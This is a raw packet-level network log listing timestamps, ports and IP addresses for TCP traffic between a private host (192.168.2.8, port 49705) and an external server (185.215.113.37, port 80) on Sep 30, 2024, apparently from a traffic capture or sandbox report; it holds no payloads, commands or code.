Sep 30, 2024 12:33:20.992163897 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.992208004 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.992208004 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.992208004 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.992219925 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.992230892 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.992240906 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.992253065 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.992260933 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.992264032 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.992275000 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.992280960 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.992288113 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.992300987 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.992317915 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.992346048 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.992754936 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.992804050 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.992950916 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.992961884 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.992971897 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.992981911 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.992994070 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.993006945 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.993009090 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.993020058 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.993048906 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.993081093 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.993134975 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.993144035 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.993149996 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.993160009 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.993170023 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.993180037 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.993185997 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.993191004 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.993206978 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.993237019 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.993237019 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.035754919 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.035821915 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.035873890 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.035926104 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.117866039 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.117896080 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.117907047 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.117934942 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.117959023 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.117964983 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.117976904 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.117989063 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.118000984 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.118005037 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.118035078 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.118065119 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.118093967 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.118103027 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.118114948 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.118125916 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.118139982 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.118148088 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.118158102 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.118161917 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.118172884 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.118180037 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.118185043 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.118216991 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.118241072 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.157959938 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.157994032 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158010960 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158021927 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158036947 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158041954 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158055067 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158065081 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158071041 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158087969 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158092022 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158092022 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158103943 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158116102 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158121109 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158144951 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158153057 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158169031 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158181906 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158185959 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158205986 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158206940 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158221960 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158237934 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158238888 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158238888 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158253908 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158269882 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158269882 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158286095 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158289909 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158304930 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158308983 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158319950 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158327103 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158337116 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158345938 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158353090 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158371925 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158373117 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158377886 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158391953 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158394098 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158409119 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158427954 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158435106 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158446074 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158459902 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158476114 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158480883 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158492088 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158502102 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158518076 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158523083 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158531904 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158540010 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158556938 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158559084 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158572912 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158576012 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158597946 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158597946 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158613920 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158617973 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158631086 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158652067 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158658028 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158658028 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158667088 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158684969 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158700943 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158705950 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158705950 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158705950 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158720016 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158735037 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158745050 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158745050 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158768892 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158783913 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158788919 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158804893 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158821106 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158838987 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158854961 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158858061 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158858061 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158858061 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158870935 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158884048 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158886909 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.158904076 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158922911 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.158940077 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.159034014 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.159050941 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.159064054 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.159077883 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.159090042 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.159101963 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.159111023 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.159118891 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.159132004 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.159133911 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.159158945 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.159162998 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.159162998 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.159173012 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.159188986 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.159193993 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.159204006 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.159215927 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.159215927 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.159220934 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.159235954 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.159239054 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.159251928 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.159264088 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.159264088 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.159267902 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.159281969 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.159286022 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.159300089 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.159323931 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.159323931 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.159323931 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.159348965 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.204125881 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.204194069 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.236841917 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.236884117 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.236901045 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.236912012 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.236917973 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.236954927 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.236954927 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.236979008 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.238190889 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.238240957 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.238241911 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.238256931 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.238296986 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.238682985 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.238699913 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.238714933 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.238735914 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.238768101 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.239371061 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.239433050 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.239444017 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.239458084 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.239473104 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.239490032 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.239492893 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.239512920 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.239514112 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.239573002 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.239573002 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.239573956 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.240557909 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.240573883 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.240588903 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.240612984 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.240638971 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.240964890 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.240981102 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.240997076 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241019011 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241020918 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241034985 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241041899 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241051912 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241059065 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241070032 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241092920 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241101027 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241107941 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241118908 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241139889 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241168976 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241175890 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241192102 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241209030 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241221905 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241229057 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241255045 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241255999 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241556883 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241573095 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241589069 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241609097 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241636038 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241636038 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241652966 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241669893 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241692066 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241697073 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241708040 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241718054 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241734028 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241743088 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241743088 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241750002 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241764069 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241794109 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241795063 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241811991 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241817951 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241826057 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241835117 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241842985 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241857052 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241857052 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241873980 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241874933 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241889954 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.241895914 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.241951942 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.242161989 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.242178917 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.242193937 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.242208958 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.242213011 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.242249966 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.242249966 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.242250919 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.242265940 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.242280006 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.242315054 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.242317915 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.242335081 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.242352009 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.242360115 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.242398977 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.242455959 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.242481947 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.242496014 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.242516041 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.242548943 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.242548943 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.244179964 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.244195938 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.244239092 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.244271994 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.290168047 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.290224075 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.290293932 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.290340900 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.686970949 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.686989069 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687000036 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687010050 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687027931 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687038898 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687051058 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687060118 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687071085 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687079906 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687082052 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687091112 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687107086 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687115908 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687131882 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687144041 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687151909 CEST	49705	80	192.168.2.8	185.215.113.37
